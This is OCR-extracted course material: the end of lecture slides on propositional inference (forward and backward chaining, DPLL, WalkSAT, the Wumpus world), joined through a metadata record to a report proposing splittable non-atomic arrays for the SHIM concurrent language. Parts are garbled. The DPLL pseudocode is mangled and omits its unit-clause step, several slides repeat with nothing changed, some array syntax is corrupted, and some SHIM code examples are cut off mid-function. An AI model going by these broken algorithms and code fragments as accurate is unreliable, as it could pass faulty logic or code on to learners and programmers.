A \land P &\Rightarrow L \\
A \land B &\Rightarrow L \\
A &\land B
\end{align*}
\]
Connectors
Arc = AND
No arc = OR
Numbers in red indicate number of propositions needed to prove result
A is true, so B or P needed to prove L
Forward Chaining Example (II)
Forward Chaining Example (III)
Forward Chaining Example (IV)
Forward Chaining Example (V)
Forward Chaining Example (VI)
Forward Chaining Example (VII)
\[ P \implies Q \]
\[ L \land M \implies P \]
\[ B \land L \implies M \]
\[ A \land P \implies L \]
\[ A \land B \implies L \]
\[ A \]
\[ B \]
Forward Chaining Example (VIII)
\[ P \implies Q \]
\[ L \land M \implies P \]
\[ B \land L \implies M \]
\[ A \land P \implies L \]
\[ A \land B \implies L \]
\[ A \]
\[ B \]
Proof of Completeness
- FC derives every atomic sentence that is entailed by \( KB \)
1. FC reaches a fixed point where no new atomic sentences are derived
2. Consider the final state as a model \( m \), assigning true/false to symbols
3. Every clause in the original \( KB \) is true in \( m \)
4. Hence \( m \) is a model of \( KB \)
5. If \( KB \models q \), \( q \) is true in every model of \( KB \), including \( m \)
Backward Chaining Examples
**Backward Chaining Example**
\[ P \implies Q \]
\[ L \land M \implies P \]
\[ B \land L \implies M \]
\[ A \land P \implies L \]
\[ A \land B \implies L \]
\[ A \]
\[ B \]
We want to prove \( Q \)
**Backward Chaining Example (II)**
\[ P \implies Q \]
\[ L \land M \implies P \]
\[ B \land L \implies M \]
\[ A \land P \implies L \]
\[ A \land B \implies L \]
\[ A \]
\[ B \]
Q is True if \( P \) is True, and
Try to prove \( P \)
Artificial Intelligence
Backward Chaining Example (III)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
P is True if L and M are True,
Try to prove L and M
Backward Chaining Example (VI)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
Backward Chaining Example (V)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
Backward Chaining Example (VI)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
Backward Chaining Example (VII)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
Backward Chaining Example (VIII)
P ⇒ Q
L ∧ M ⇒ P
B ∧ L ⇒ M
A ∧ P ⇒ L
A ∧ B ⇒ L
A
B
Backward Chaining Example (IX)
P \Rightarrow Q
L \land M \Rightarrow P
B \land L \Rightarrow M
A \land P \Rightarrow L
A \land B \Rightarrow L
A
B
Backward Chaining Example (X)
P \Rightarrow Q
L \land M \Rightarrow P
B \land L \Rightarrow M
A \land P \Rightarrow L
A \land B \Rightarrow L
A
B
Forward vs. Backward Chaining
- FC is data-driven, automatic, unconscious processing,
e.g., object recognition, routine decisions
- May do lots of work that is irrelevant to the goal
- BC is goal-driven, appropriate for problem-solving,
e.g., Where are my keys? How do I get into a PhD program?
- Complexity of BC can be much less than linear in size of KB
Efficient Propositional Inference
Two families of efficient algorithms for propositional inference:
- Complete backtracking search algorithms
- DPLL algorithm (Davis, Putnam, Logemann, Loveland)
- Incomplete local search algorithms
- WalkSAT algorithm
The DPLL algorithm
Determine if an input propositional logic sentence (in CNF) is satisfiable.
Improvements over truth table enumeration:
1. Early termination
A clause is true if any literal is true.
A sentence is false if any clause is false.
2. Pure symbol heuristic
Pure symbol: always appears with the same "sign" in all clauses.
e.g., In the three clauses (A \lor \neg B), (\neg B \lor \neg C), (C \lor A),
A and B are pure, C is impure.
Make a pure symbol literal true.
3. Unit clause heuristic
Unit clause: only one literal in the clause.
The only literal in a unit clause must be true.
The DPLL algorithm
FUNCTION DPLL-SATISFIABLE(x) returns true or false
inputs: x a sentence in propositional logic
clauses -- the set of clauses in the CNF representation of x
symbols -- a list of the proposition symbols in x
returns: DPLL(clauses, symbols, x)
Function DPLL(clauses, symbols, model) returns true or false
if every clause in clauses is true in model then return true
if some clause in clauses is false in model then return false
P = value(FIND PURE SYMBOL(symbols, clauses, model))
if P is non-null then return DPLL(clauses, symbols -- P, [P = value(model)])
else
return DPLL(clauses, rest, [P = true(model)]) or
DPLL(clauses, rest, [P = false(model)])
The **WalkSAT algorithm**
- Incomplete, local search algorithm
- Evaluation function: The min-conflict heuristic of minimizing the number of unsatisfied clauses
- Balance between greediness and randomness
**Hard Satisfiability Problems**
- Consider random 3-CNF sentences. e.g.,
\[ \neg D \lor \neg B \lor C \land (B \lor \neg A \lor \neg C) \land \]
\[ (\neg C \lor \neg B \lor E) \land (E \lor \neg D \lor B) \land \]
\[ (B \lor E \lor \neg C) \]
- \( m \) = number of clauses
- \( n \) = number of symbols
- Hard problems seem to cluster near \( m/n \) = 4.3 (critical point)
**Inference-Based Agents in the Wumpus World**
A wumpus-world agent using propositional logic:
- \( \neg P_{1,1} \)
- \( \neg W_{1,1} \)
- \( B_{x,y} \iff (P_{x,y+1} \lor P_{x,y-1} \lor P_{x+1,y} \lor P_{x-1,y}) \)
- \( S_{x,y} \iff (W_{x,y+1} \lor W_{x,y-1} \lor W_{x+1,y} \lor W_{x-1,y}) \)
- \( W_{1,1} \lor W_{1,2} \lor \ldots \lor W_{4,4} \)
- \( \neg W_{1,1} \lor \neg W_{1,2} \)
- \( \neg W_{1,1} \lor \neg W_{1,3} \)
- \( \ldots \)
\( \Rightarrow \) 64 distinct proposition symbols, 155 sentences
Artificial Intelligence
### Expressiveness Limitation of Propositional Logic
- KB contains "physics" sentences for every single square
- For every time $t$ and every location $[x,y]$,
\[ L_{x,y} \land \text{FacingRight} \land \text{Forward} \Rightarrow L_{x+1,y} \]
- Rapid proliferation of clauses
---
#### Summary
- Logical agents apply **inference** to a knowledge base to derive new information and make decisions
- Basic concepts of logic:
- **syntax**: formal structure of sentences
- **semantics**: truth of sentences wrt models
- **entailment**: necessary truth of one sentence given another
- **inference**: deriving sentences from other sentences
- **soundness**: derivations produce only entailed sentences
- **completeness**: derivations can produce all entailed sentences
- Wumpus world requires the ability to represent partial and negated information, reason by cases, etc.
- Resolution is complete for propositional logic
- Forward, backward chaining are linear-time, complete for Horn clauses
- Propositional logic lacks expressive power
|
{"Source-Url": "http://www2.hawaii.edu/~nreed/ics461/lectures/07logicagents.pdf", "len_cl100k_base": 6885, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 37468, "total-output-tokens": 7414, "length": "2e12", "weborganizer": {"__label__adult": 0.00049591064453125, "__label__art_design": 0.0007982254028320312, "__label__crime_law": 0.0008864402770996094, "__label__education_jobs": 0.00817108154296875, "__label__entertainment": 0.00034117698669433594, "__label__fashion_beauty": 0.0002429485321044922, "__label__finance_business": 0.0004916191101074219, "__label__food_dining": 0.0008134841918945312, "__label__games": 0.0021724700927734375, "__label__hardware": 0.0012598037719726562, "__label__health": 0.0006861686706542969, "__label__history": 0.0005779266357421875, "__label__home_hobbies": 0.0003147125244140625, "__label__industrial": 0.0011272430419921875, "__label__literature": 0.00235748291015625, "__label__politics": 0.0005931854248046875, "__label__religion": 0.0008411407470703125, "__label__science_tech": 0.25390625, "__label__social_life": 0.0003249645233154297, "__label__software": 0.01531219482421875, "__label__software_dev": 0.70654296875, "__label__sports_fitness": 0.0004258155822753906, "__label__transportation": 0.0009007453918457032, "__label__travel": 0.00024628639221191406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 20887, 0.00957]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 20887, 0.55376]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 20887, 0.6276]], "google_gemma-3-12b-it_contains_pii": [[0, 1832, false], [1832, 2012, null], [2012, 3724, null], [3724, 4925, null], [4925, 8097, null], [8097, 11934, null], [11934, 14165, null], [14165, 14668, null], [14668, 15922, null], [15922, 16500, null], [16500, 18716, null], [18716, 19814, null], [19814, 20887, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1832, true], [1832, 2012, null], [2012, 3724, null], [3724, 4925, null], [4925, 8097, null], [8097, 11934, null], [11934, 14165, null], [14165, 14668, null], [14668, 15922, null], [15922, 16500, null], [16500, 18716, null], [18716, 19814, null], [19814, 20887, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 20887, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 20887, null]], "pdf_page_numbers": [[0, 1832, 1], [1832, 2012, 2], [2012, 3724, 3], [3724, 4925, 4], [4925, 8097, 5], [8097, 11934, 6], [11934, 14165, 7], [14165, 14668, 8], [14668, 15922, 9], [15922, 16500, 10], [16500, 18716, 11], [18716, 19814, 12], [19814, 20887, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 20887, 0.03386]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
046bc99baf1b1202d6869e5253765909acf93548
|
Abstract
The use of multiprocessor configurations over uniprocessor is rapidly increasing to exploit parallelism instead of frequency scaling for better compute capacity. The multiprocessor architectures being developed will have a major impact on existing software. Current languages provide facilities for concurrent and distributed programming, but are prone to races and non-determinism. SHIM, a deterministic concurrent language, guarantees the behavior of its programs are independent of the scheduling of concurrent operations. The language currently supports atomic arrays only, i.e., parts of arrays cannot be sent to concurrent processes for evaluation (and edition). In this report, we propose a way to add non-atomic arrays to SHIM and describe the semantics that should be considered while allowing concurrent processes to edit parts of the same array.
1 Introduction
In a concurrent framework, it is very important to define the rules and restrictions that concurrent processes must follow to perform a task deterministically. In this report, we discuss these rules for arrays in a concurrent setting along with an array extension to the concurrent SHIM framework.
Arrays in SHIM might be spread over a distributed environment with their parts being handled by different processes. Concurrent updates to the same array might lead to inconsistency and thereby make the language non-deterministic. To avoid this, rules need to be defined for parallel processing with arrays without compromising the power or flexibility of the language.
The SHIM language currently supports atomic arrays only, that is, arrays in SHIM cannot be spread over different processes. This requires sending the entire array across processes even if only a single element of the array needs to be sent. Also, atomic arrays prohibit concurrent updates to different parts of the same array. We carefully examine these situations and propose a design construct for adding non-atomic arrays to the language.
2 Related Work
SHIM already defines rules for sharing and synchronizing base type variables between parallel processes. SHIM systems consist of sequential processes that communicate using rendezvous through point-to-point communication channels. SHIM systems are therefore delay-insensitive and deterministic for the same reasons as Kahn’s networks, which they resemble by design, but are simpler to schedule and require only bounded resources by adopting rendezvous-style communication inspired by Hoare’s CSP. We propose our extension to SHIM with these key ideas in mind.
The enhanced compute capacity achieved with multiprocessor systems has lead to the development of various languages. X10 is an object-oriented programming language designed for programming of Non-Uniform Cluster Computing Systems. This report is inspired by the developments in the X10 language which has led to the proposal of non-atomic arrays for SHIM. X10 also defines an array sub-language that supports dense and sparse, distributed, multi-dimensional arrays. An X10 array object is a collection of multiple elements that can be indexed by multi-dimensional points that form the underlying index region for the array. An array’s distribution specifies how its elements are distributed across multiple places in the PGAS. In SHIM, concurrent processes execute independently but they meet at specified synchronization points and communication takes place in a rendezvous fashion. The extension proposed in this report is more concerned with splitting arrays into parts, passing them to concurrent processes and synchronization of these processes with respect to arrays.
Another related work to this report is Guava, a dialect of Java that defines rules to statically guarantee that parallel threads access shared data only through synchronized methods. They identify classes into three categories: Monitors, which may be referenced from multiple threads, but whose methods are accessed serially; Values, which cannot be referenced and therefore are never shared; And Objects, which can have multiple references but only from within one thread, and therefore do not need to be synchronized. Arrays in Guava can either be of type Value or Object. Thus arrays in Guava can be shared but only in one thread. Our focus in this report is to propose non-atomic arrays which can be shared over different processes over different locations.
3 Overview
This report deals with defining non-atomic arrays in SHIM and the set of operations that guarantee scheduling independent behavior. Parts of these non-atomic arrays will be handled by many concurrent processes and concurrent updates to the array should not allow inconsistencies.
To add such non-atomic arrays and ensure that no inconsistencies occur requires the addition of new constructs to
the language. We will define these constructs and list the reason for various choices.
In the following section, we will propose the basic array constructs for SHIM. We list the different kinds of arrays and propose their declaration and initialization syntax. Later we explain a new construct for splitting arrays into smaller parts and discuss restrictions on the use of these parts in parallel processes.
Concurrent processes may need to synchronize on the different parts of the array during their execution. We discuss the synchronization syntax and explain the behavior of synchronization with arrays. Finally, we show two examples that illustrate the use of these extensions. The first example uses these non-atomic arrays to illustrate dynamic splitting and passing parts of an array to concurrent processes. The second example is related to synchronization of the parts of array between concurrent processes during their execution. It also explains how deadlock is avoided with serial send and receive operations between concurrent processes.
### 4 Array Declaration and Initialization
Determinism, the property of inevitable consequence of antecedent states, is a fundamental principle in the SHIM language. This leads to careful design issues in SHIM. One consequence is that SHIM doesn’t allow pointers. Because of this reason we propose Java-like arrays. Arrays in this proposal are data structures that have operators that can be used with them. These arrays can be initialized at the time of declaration; we discuss this in detail below.
Array declaration requires the array type, its size and a unique name. The example below creates an array named \( a \) and type \( \text{int} \). The array index ranges from 0 to \( n-1 \). \( \text{array-size} \) is an expression that does not need to be a compile-time constant.
\[
\begin{align*}
type [\text{array-size}] & \text{ array-name;} \\
\text{int}[n] & a; \\
\end{align*}
\]
Access to array elements can be done by using their index number preceded by the array name. Please note that index number will always range from 0 to \( n-1 \) where ‘n’ is the size of the array. If an invalid index is accessed an out-of-bound error will be generated.
\[
\text{array-name}[\text{index}] \\
a[2]
\]
The size of an array can be returned by placing the \( .\text{size} \) keyword after an array name. The \( .\text{size} \) operator is a read only operation and the size of the array cannot be changed after array initialization.
\[
\begin{align*}
\text{array-name}.\text{size} \\
a.\text{size}
\end{align*}
\]
Arrays can be initialized during declaration. There are three ways to do so: Initialization with constants, by values from another array and by reference.
Initialization with a constant list has a similar syntax as C. The constant values are listed after the declaration in parenthesis separated by commas. The elements of the array are initialized with the values given and the size of the array is determined by the number of values listed. The size of the array specified should be equal to the number of elements in the constant list otherwise an error is generated.
\[
\begin{align*}
type [\text{size}] & \text{ array-name} = \{ \text{const-list} \}; \\
\text{int}[3] & a = \{25, 24, 45\};
\end{align*}
\]
Initialization can also be done with values from another array. This enables to create a new array as a copy of another array. The example below creates a new array \( m \) whose size and values are taken from array \( a \).
\[
\begin{align*}
type [] & \text{ array-name} = \text{array-name} ; \\
\text{int[]} & m = a;
\end{align*}
\]
The size of the array is not defined wherever they are declared with initializations with other objects. The reason for this is to remove ambiguity and hence the size of the array is strictly not required when the array is being declared with initializations.
Initialization by reference creates a reference/alias for the existing array. Hence, no new memory allocation takes place; although there is an exception to this rule when it comes to initializing the array by reference from arrays which belong to processes on different locations. The example below creates a new array \( m \) from array \( a \).
\[
\begin{align*}
type [] & \ & \text{ & array-name} = \text{array-name} ; \\
\text{int[]} & m = a;
\end{align*}
\]
### 5 Splitting Arrays
In a concurrent setup an array might be updated by many processes. To avoid the consistency and determinism issues related to this problem we require an explicit array split before the array can be passed in parts to different processes.
We choose to split the array by size, that is, by defining the size of each part. Although a split of an array can be performed by specifying the ranges (low and high values) for each part but the reason for choosing size over ranges is to reduce the complexity involved while checking the access conflicts as ranges can have conflicts when the limits are calculated at run time. Hence we consider the following syntax:
\[
\begin{align*}
type [] & \ & \text{ &opt} \{ \text{id-list} \} = \\
& \text{split( array-name , break-points );}
\end{align*}
\]
Thus, *split* is a function returning a tuple and the elements of this tuple are the names are the new arrays. It takes an array and a set of break points as input and returns the subarrays (or parts of arrays) as the outputs which are further bonded with the array names provided in the list. Another decision made regarding the split operation was to have a functional notation for the split. The reason for selecting this syntax is that the split operation is unique and it is a function returning a tuple. The functional notation makes it intuitive to the user that the split operation takes different types of arguments (an array, and integer break points) and returns a tuple consisting of a set of arrays.
To make things efficient we confine an array split operation to allow a split into exactly two pieces. Thus the syntax becomes:
```
tuple &opts {id, id} = split(array-name, break-point);
```
In the syntax above, ampersand (&) symbol is optional. This means that and array split can be categorized into two groups: split by value and split by reference. Split by value creates new arrays with new memory allocations and copies the value from the original array whereas split by reference creates new array names as reference to different parts of the original array.
Consider the split by value example below, it creates two arrays *m* and *n* and copies the elements 0 to *b* − 1 of array *a* to *m* and *b* to *a.size − 1* to *n*.
```
tuple {m, n} = split(a, b);
```
In contrast, the following example illustrates split by reference. It creates two new array names (only references/alias) in which *m* references elements 0 to *b* − 1 of array *a* and *n* refers to elements *b* to *a.size − 1* of array *a*.
```
tuple {m, n} = split(a, b);
```
### 6 Arrays and Function Declaration
SHIM allows function arguments to be passed in two ways: by value or by reference. Similarly, we propose passing arrays in two ways: array arguments passed by value or by reference.
Functions that accept an array argument by value will get a copy of the array from the calling function and any change made to such an array will not be reflected in the original array. Below is an example of a function that takes an array argument by value.
```
void myFunc(int[] new_array)
```
The above syntax is very different from usual C/Java syntax. In C/Java this kind of syntax is used to pass arrays by reference since they do not allow a straight way to pass arrays by value. But we propose a different kind of syntax and allow arrays to be passed either by value or by reference. Following contrast with the syntax of passing arrays by reference will make things clearer.
Functions that accept reference to an array as an argument will get a reference to the original array and any changes made to the array will be reflected in the original array as well. Below is an example declaration of a function that has an array argument by reference.
```
void myFunc(int[]& new_array)
```
The syntax of passing arrays by reference is much like passing normal variables by reference, that is, the array arguments that include ampersand (&) in there declaration are passed by reference. To sum up, the argument variables (even arrays) those are declared with ampersand (&) are passed by reference and other are passed by value.
Again, you can notice in the examples above that the size of the array is forbidden when the array is being declared as an argument. This is to prevent the array size mismatch between the arrays passed from the calling function. The size operator can be used in the function definition to determine the actual number of elements in it.
Below illustrates the passing of arrays to functions.
```
void f(int[]& a) { // a = {1,1,1}
for(int i=0; i<a.size; i++)
a[i] = 2;
} // a = {2,2,2}
void g(int[] a) { // a = {1,1,1}
for(int i=0; i<a.size; i++)
a[i] = 3;
} // a = {3,3,3}
void h(int[]& a) { // a = {1,1,1}
for(int i=0; i<a.size; i++)
a[i] = 4;
} // a = {4,4,4}
void main() {
int[5] arr = {1,1,1,1,1};
int bp = 3;
int[5]& {m, n} = split(arr, bp); // int [3]m, [2]n
f(m); par g(m); par h(n);
} // arr = {2,2,2,4,4}
```
In the above example, the main function has an array of integers named *arr* of size 5. The split operation breaks the array in two parts at index 2. Thus, array *m* gets index 0 to 2 of array *arr* and array *n* gets index 3 to 4 of array *arr*. Note that the size of arrays *m* and *n* will be 3 and 2 respectively and their incidies will range from 0 to 2 and 0 to 1 respectively. After the split, the *par* statement allows the three children *f(m)*, *g(m)* and *h(n)* to run in parallel. Arrays *m* and *n* are passed by reference to function *f* and *h* respectively. Hence, any change made to the arrays in these functions will be reflected in *main* as well. And array *m* is passed to function *g* by value. Any change made this array by function *g* would be reflected in *g* only and not in *main*.
After all the parallel processes end and main resumes, the value of the array \( a \) is \( \{2,2,2,4,4\} \). This is because changes made to the array \( a \) by function \( g \) are totally discarded when \( g \) terminates. But the changes made to the their respective arrays \( m \) and \( n \) are reflected in \( m \) and \( n \) even after their lifetime.
In SHIM, a variable can not be passed by reference to more than one parallel process. In other words, a variable can be passed to as many processes in parallel by value but to only one process by reference. The reason for this will be clear from the following example.
```c
void main() {
int[5] arr = \{1,3,4,2,5\};
int[\&] (m, n) = split(arr, 3);
f(m); par f(n); // OK
f(m); par g(m); // OK
f(m); par f(m); // Error: Same array
// cannot be passed by
// reference twice
g(m); par g(m); // OK
f(m); par f(arr); // Error: \( m \) is an alias of
// arr and both cannot be
// reference in parallel
f(m); par g(arr); // OK
f(arr); par g(m); // OK
}
```
In the above example, the third parallel function call \( f(m) \); \( par f(m) \); is invalid because function \( f \) takes an array by reference but this parallel function call violates the rule that the same variable (or array) cannot be passed by reference to more than one parallel process.
Also in the above example, consider the fifth parallel function call \( f(m); par f(arr) \). Array \( m \) references a part of array \( arr \) hence both of them hold common elements (also, \( m \) is an alias of \( arr \) in a way). Hence, we cannot pass such arrays by reference together in parallel. All other statements are valid.
The reason for the restriction—the same variable cannot be passed by reference to more than one parallel process—is that when more than one parallel process is allowed to change the same variable, inconsistencies may occur. To understand this, you can assume that a process accepting an object by reference has write access to it and a read access to an object accepted by value. And no two parallel processes can have write access to the same object.
### 7 Arrays and Synchronization
In SHIM, all variables that are declared as function arguments can be synchronized with other processes with the keyword ‘next’ preceding their name.
```c
next variable-name;
```
A send or a receive operation depends on the declaration. A send action is taken if the argument variable has been declared as reference and a receive action otherwise.
The \textit{next} operation works in the very similar fashion for arrays. A function accepting an array by reference will be allowed to change its content and will be sending out the array on \textit{next} operations. And, a function accepting an array by value will be receiving the array on \textit{next} operations from other parallel processes that hold that array by reference. The example below illustrates this behavior.
```c
void f(int[\&] arr) {
for(int i=0; i<arr.size; i++)
arr[i] = 2;
next arr; // Send 'arr'
}
void g(int[\] arr) {
for(int i=0; i<arr.size; i++)
arr[i] = 3;
next arr; // Receive 'arr'
}
```
In the above example, main function passes the array \( arr \) to two processes \( f \) and \( g \) by reference and value respectively. Thus, a \textit{next} operation on \( arr \) in function \( f \) sends its \( arr \) content and a \textit{next} operation on \( arr \) in function \( g \) receives the contents of \( arr \). Notice in the above example, that after synchronization the content of \( arr \) changes to \( \{2,2,2\} \) in function \( g \).
During synchronization, a process waits for all the parallel processes that hold the same variable that it is synchronizing upon. If there is no process to synchronize, the \textit{next} operation is bypassed. The behavior is same with \textit{next} on arrays as well, that is, a process in which an array was declared as an argument will wait for all the parallel processes which have that array, while synchronizing upon that array.
We mentioned before that a variable can not be passed by reference to more than one parallel process. Another reason for this restriction, in the context of synchronization, is that it becomes unclear that which process sends the variable to the receiving processes. If there are two processes sending the same data to a third process, problems may arise.
Consider an example where we want two parallel processes to operate on the same array but make changes only to the different parts of it. Also the two processes may require the other halves, to which they do not have write access to, with them for reading those values. To solve this problem we will need to split the array in two halves, pass each half by reference to each process, and pass the other halves to each process by value. Please consider the example below:
```c
void f(int[\&] a, int[\] b) {
next a; // Send array 'a'
next b; // Recieve array 'b'
}
void g(int[\] a, int[\&] b){
```
In the above example, the array \textit{arr} is split in two parts: \textit{m} and \textit{n}. Now, function \textit{f} gets \textit{m} by reference and \textit{n} by values and the function \textit{g} gets \textit{n} by reference and \textit{m} by value. Further, when function \textit{f} performs the \textit{next} operation on \textit{a} (alias of \textit{m}) it sends its values to function \textit{g} to read them. And when function \textit{f} performs the \textit{next} operation on \textit{b} (alias of \textit{n}) it waits to read its latest values from function \textit{g}.
8 Examples
8.1 Merge Sort
Merge sort is a classical sorting algorithm. Here we will add parallelism to the merge sorting algorithm and re-write it in SHIM and the extension proposed so far. This program uses the parallel constructs of SHIM, the array constructs mentioned in this proposal and the rules defined to pass them to functions.
```c
void mergeSort(int[] &a) {
if (a.size > 2) {
// Split, if array has more than 2 elements
int[] & {m, n} = split(a, a.size / 2);
// Recurs with each part in parallel
mergeSort(m); par mergeSort(n);
}
// Merge Start
int[a.size] temp;
int i=0, j=a.size/2, tmp_pos=0;
while ((i < a.size/2) && (j < a.size)) {
if (a[i] <= a[j])
temp[tmp_pos++] = a[i++];
else
temp[tmp_pos++] = a[j++];
}
while (i < a.size/2)
temp[tmp_pos++] = a[i++];
while (j < a.size)
temp[tmp_pos++] = a[j++];
for (i=0; i < a.size; i++)
a[i] = temp[i];
}
```
The above merge sort program takes an array, splits it in two and passes each part to two parallel processes. Each part is sorted and returned back. And thus, in a recursive way the above example sorts the array with parallel execution.
8.2 Counter
This example exploits the use of synchronization provided by SHIM and the extension of synchronization for arrays proposed in this report. The example is meant to explain the synchronization behavior of the language and is not an alternative proposal for the implementation of a counter.
In this example we take an array of four elements. Since we are implementing a binary counter, each element of the array will represent a bit of the number. Hence, we implement a four-bit binary counter.
Following is the code for the counter. The output follows the code further followed by the explanation of the example. Note, that the \textit{print} function, as given in this example, is neither the part of the SHIM specification nor of the proposal in this report. It is present only to give an idea of what values the counter code generates.
```c
// Counter function
void counter(int[] & x, int[] y) {
while (1) {
int flag = 1;
// Loop to check if all elements are 1
for (int i=0; i<y.size; i++)
if (y[i] == 0)
flag = 0;
// Switch `x[0]' if all `y' are 1
if (flag == 1)
x[0] = 1 - x[0];
next x; // Send array `x'
next y; // Receive array `y'
}
}
```
The output is
```
0000 0001 0010 0011 0100 0101 0110 0111
1000 1001 1010 1011 1100 1101 1110 1111
```
The main function of the code has an array $a$ of length four. Each element of this array represents a bit of the array. We split this array into two parts: $b$ holds the first element of $a$ and $c$ holds the remaining 3 elements. We further split array $c$ into $d$ and $e$ in the similar way. Figure 1 shows the split of arrays in our example.
An array will only share an element with its parent or its children, recursively. It can be noticed from the figure that which arrays share elements. For example, array $g$ will share its element with arrays $e$, $c$, and $a$ but not with $f$, $d$, and $b$. And array $c$ shares some of its elements with arrays $a$, $d$, $e$, $f$, and $g$ but none with $b$.
We split the array such that arrays $b$, $d$, $f$, and $g$ each hold a single element and together cover the entire array $a$. Each of these elements is passed by reference to the 4 parallel processes, that is, three instances of function $counter$ and one instance of function $invert$. Also, these processes are passed the arrays on their right (in the figure or in the split) by value. Note that no element of the original array is passed by reference to more than one parallel process. Otherwise, an error would have been generated as explained before.
Now, each of the four processes run their code and will wait for synchronization when a $next$ statement is reached. During synchronization the processes which holds the variable (to be synchronized upon) by reference will send the variable and the other processes will receive. The synchronization takes place in a rendezvous fashion and processes will send a variable (which it holds with reference) to all the other processes (which hold that variable by value).
As mentioned the process holding a variables by reference will send out its value to all the processes participating in the synchronization over the same variable. For example, array $g$ has common elements with arrays $e$ and $c$ and hence, the process $invert(g)$ (which hold $g$ by reference) will send out value of variable $g$ to all the other 3 processes which can be seen in the figure. Similarly, other arrays (and its elements) will be synchronized.
The $invert(h)$ process switches the value of its element between zero and one during each iteration before synchronization and the $counter$ processes check if all the elements of its array $y$ (which is held by value) are equal to one. If they are, then the $counter$ process changes the only element of its array $x$ (which is held by reference) to 1 and this change is propagated to all other concerned processes during synchronization at the end of the iteration.
It is important to observe the synchronization behavior in the $counter$ function. The statement $next x$ (a send statement) precedes the $next y$ (a receive statement). SHIM is prone to deadlocks in situations where serial send and receive statements executed. Careful observation is needed to be given to such situations. The $counter$ function used in the example may seem to deadlock but it doesn’t and we will explain this by observing the synchronization in steps.
Consider the synchronization figure above. Function $invert(g)$ will send its array to function $counter(f,g)$. But, $counter(f,g)$ cannot receive $g$ until it sends out $f$. And in turn, $counter(f,g)$ cannot send $f$ until the function $counter(b,c)$ sends $b$. So, the first synchronization that takes place in a given iteration will be between the function $counter(b,c)$ and $printArr(a)$. After $counter(b,c)$ sends $b$ it will receive elements of $c$ from functions $counter(d,e)$, $counter(f,g)$, and $invert(g)$. After this, the function $counter(d,e)$ receives $e$ from $counter(f,g)$, and $invert(g)$. And in the end, function $counter(f,g)$ receives $g$ from $invert(g)$.
Thus, the processes will execute in parallel without a deadlock and counter output is printed by $printArr(a)$ in each iteration.
9 Grammar
Here we list the grammar for SHIM with the syntax proposed for the extension of non-atomic arrays.
Here, \( e \) denotes expressions, \( s \) statements, \( b \) blocks, \( d \) declarations, \( p \) a program, and \( m \) a main function. \( L \) denotes literals, \( T \) types (e.g., int, void), \( E \) exceptions, \( V \) variables, and \( P \) procedures. \( \text{par} \) binds most tightly.
The grammar above adds the functionality of declaration of new arrays, initializing them, splitting them and accessing the elements of arrays in SHIM. With this extension we add non-atomic arrays while preserving the main ideas of SHIM being a deterministic concurrent language.
10 Conclusion
The proposed extension to SHIM is an attempt to add arrays to its concurrent framework. For concurrent programming languages like SHIM, scheduling independence should be an important concern because the output of the program may vary in a concurrent setup depending upon the scheduling choices made by the system. We proposed rules to split an array into smaller parts, pass them between various processes and synchronize upon these array parts during their execution.
We provide the \textit{split} construct as a result of which concurrent processes are able update to different parts of the array simultaneously. We also define restrictions on passing the parts of an array to parallel processes which guarantees consistency while allowing concurrent updation of the array.
Synchronization in serial steps to send and receive variable might lead to deadlock and we explain that such situations need careful evaluation in SHIM. It can be said, that we avoid deadlocks with this proposal when synchronizing upon the array by splitting the array which in turn breaks cycles in the synchronization graph. Although, this claim remains to be proven.
Implementation of this proposal remains future work. Also, further work needs to be done on this extension to allow the split and synchronization of multi-dimensional arrays.
|
